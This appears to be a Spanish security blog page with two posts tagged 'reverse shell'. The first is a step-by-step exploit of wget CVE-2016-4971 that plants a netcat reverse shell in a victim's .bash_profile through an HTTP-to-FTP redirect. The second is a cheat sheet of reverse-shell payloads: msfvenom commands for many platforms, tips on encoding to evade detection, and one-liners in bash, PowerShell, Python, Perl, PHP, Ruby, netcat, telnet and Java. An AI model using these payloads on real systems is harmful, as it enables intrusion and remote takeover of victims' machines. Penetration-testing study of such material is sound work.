Mostrando entradas con la etiqueta reverse shell. Mostrar todas las entradas
Mostrando entradas con la etiqueta reverse shell. Mostrar todas las entradas

sábado, 25 de junio de 2016

Explotando wget. CVE-2016-4971


Buenas compañeros,

Esta semana leyendo las noticias encontramos que se ha publicado una vulnerabilidad en WGET que afecta hasta la versión 1.17.
Es el CVE que acompaña al titulo, la descripción nos dice;
En una redirección de HTTP a un recurso FTP, wget confia en el servidor HTTP y usa el nombre
de archivo de la redirección como nombre destino.


Vamos a ver que necesitamos para plantear un escenario de explotación paso a paso.
Primero montar un servidor FTP que alojará el fichero que queremos que se descargue la victima.

Partiendo de una Kali, instalamos proftpd.

apt-get install proftpd-basic


Creamos el directorio raíz y le damos permisos para el usuario
proftpd

cd /var/
mkdir ftp
chown proftpd -R ftp/
cd ftp/
touch TEST


Creamos también un archivo TEST en la raíz y configuramos el servicio FTP.
Con una configuración básica será suficiente para la prueba.

DefaultRoot /var/ftp
<Limit LOGIN>
   DenyAll
</Limit>

<Anonymous /var/ftp>
   User   proftpd
   UserAlias anonymous proftpd
   RequireValidShell off

   <Limit LOGIN>
      AllowAll
   </Limit>
</Anonymous>


Iniciamos el servicio FTP, service proftpd start
ya tenemos el servidor ftp. Vamos con Apache para crear la redirección.

Lo primero vamos a crear un archivo gancho, este es el que la victima creerá descargar.
Le vamos a poner el suculento nombre de claves.txt.

touch /var/www/html/claves.txt


Ahora configuramos una redirección simple en Apache que redirija las peticiones de claves.txt al archivo que hemos alojado en nuestro FTP.

nano /etc/apache2/sites-enabled/000 sites-enabled/000-default.conf

Redirect /claves.txt ftp://192.168.10.185/TEST



Finalmente reiniciamos Apache, service apache2 restart,  para que cargue la nueva configuración y ya tenemos la trampa hecha.


Resultado


Cuando una victima haga
wget sobre nuestro archivo claves.txt realmente descargará el archivo TEST del ftp.


wget http://192.168.10.185/claves.txt




Sacando provecho de la situación


Hemos visto que el problema reside en la falta de comprobaciones por parte de wget en el nombre destino, por lo que sabiendo que podemos escribir en destino con un nombre arbitrario podemos intentar escribir algún archivo que interprete el sistema.
Como ".bash_login" y ".bash_profile" son archivos que ejecuta Bash cuando crea un nueva sesión parecen buenas opciones.

Manos a la obra, nos vamos a crear un archivo .bash_profile en el que vamos a incluir una Shell Reversa, por ejemplo, con netcat.


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.185 5151 >/tmp/f &


Guardamos como .bash_profile en la raíz del ftp y modificamos nuestra redirección en Apache para que apunte al nuevo archivo.

Redirect /claves.txt ftp://192.168.10.185/.bash_profile

Reiniciamos Apache y levantamos un netcat para recibir la conexión.
wget http://192.168.10.185/claves.txt  [.bash_profile]

Ahora cuando la victima ejecute wget contra el archivo claves.txt se crea un archivo .bash_profile con una Shell que se ejecutará en cada inicio.

Obtenemos una Shell cuando se inicia bash en la victima



Referencias:






viernes, 27 de mayo de 2016

¿Quieres una Shell Reversa? Hay donde elegir

Buenas a todos,

En la entrada de hoy haremos un breve resumen de las diversas formas de generar una Shell reversa y así tener todas las opciones en un mismo sitio para consulta rápida.
Empecemos por Metasploit y las diferentes formas para generar un meterpreter. Para ello vamos a utilizar la herramienta msfvenom del framework Metasploit.


Binarios


Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f exe > meterpreter.exe


Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f elf > meterpreter


Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f macho > meterpreter



Web


PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw | sed 's/\/\/<?php/<?php/' > shell.php && echo ' ?>' >> meterpreter.php


ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f asp > meterpreter.asp


JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.jsp


WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f war > meterpreter.war



Scripts


Powershell

msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.ps1

Python

msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.py


Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.sh


Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.pl



Código


Además podemos generar programas en diferentes lenguajes que ejecutaran la Shell. Podemos ver el listado de los diferentes lenguajes con msfvenom --help-formats
Por ejemplo, para generar un programa en C que lance una Shell, ejecutaríamos:


msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f c > meterpreter.c


Bastaría compilarlo y tendríamos nuestro backdoor/shell.
Destacar un par de opciones interesantes de msfvenon, como son, “--bad-chars”, para evitar ciertos caracteres, como -b'\x00\xff' y la otra opción es la de --encoder con la que podemos codificar nuestro meterpreter bajando el ratio de detección.



En otras ocasiones querremos ejecutar la Shell directamente o no tendremos Metasploit a mano.
Para esas ocasiones vamos a ver algunas opciones y alternativas:


Powershell

$sm=(New-Object Net.Sockets.TCPClient("<IP>",<PUERTO>)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}


Bash

bash -i >& /dev/tcp/<IP>/<PUERTO> 0>&1

o

0<&196;exec 196<>/dev/tcp/<IP>/<PUERTO>; sh <&196 >&196 2>&196 


Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PUERTO>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Perl

perl -e 'use Socket;$i="<IP>";$p=<PUERTO>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


Perl (windows)

perl -MIO::Socket -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr => "<IP>:<PUERTO>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


PHP

php -r '$sock=fsockopen("<IP>",<PUERTO>);exec("/bin/sh -i <&3 >&3 2>&3");'


Ruby

ruby -rsocket -e'f=TCPSocket.open("<IP>",<PUERTO>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


Ruby (windows)

ruby -rsocket -e 'c=TCPSocket.new("<IP>","<PUERTO>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 


Netcat (opcion '-e')

nc -e /bin/sh <IP> <PUERTO>


Netcat (sin '-e')

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PUERTO> >/tmp/f

o

/bin/sh | nc <IP> <PUERTO>


Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet <IP> <PUERTO> 0/tmp/p 

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<IP>/<PUERTO>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


xterm

xterm -display <IP>:1




Espero que sean de utilidad y si conocéis algún método forma más por favor comentarlo y así podremos incluirla para contar con un recopilación más completa.


Belane



Google Analytics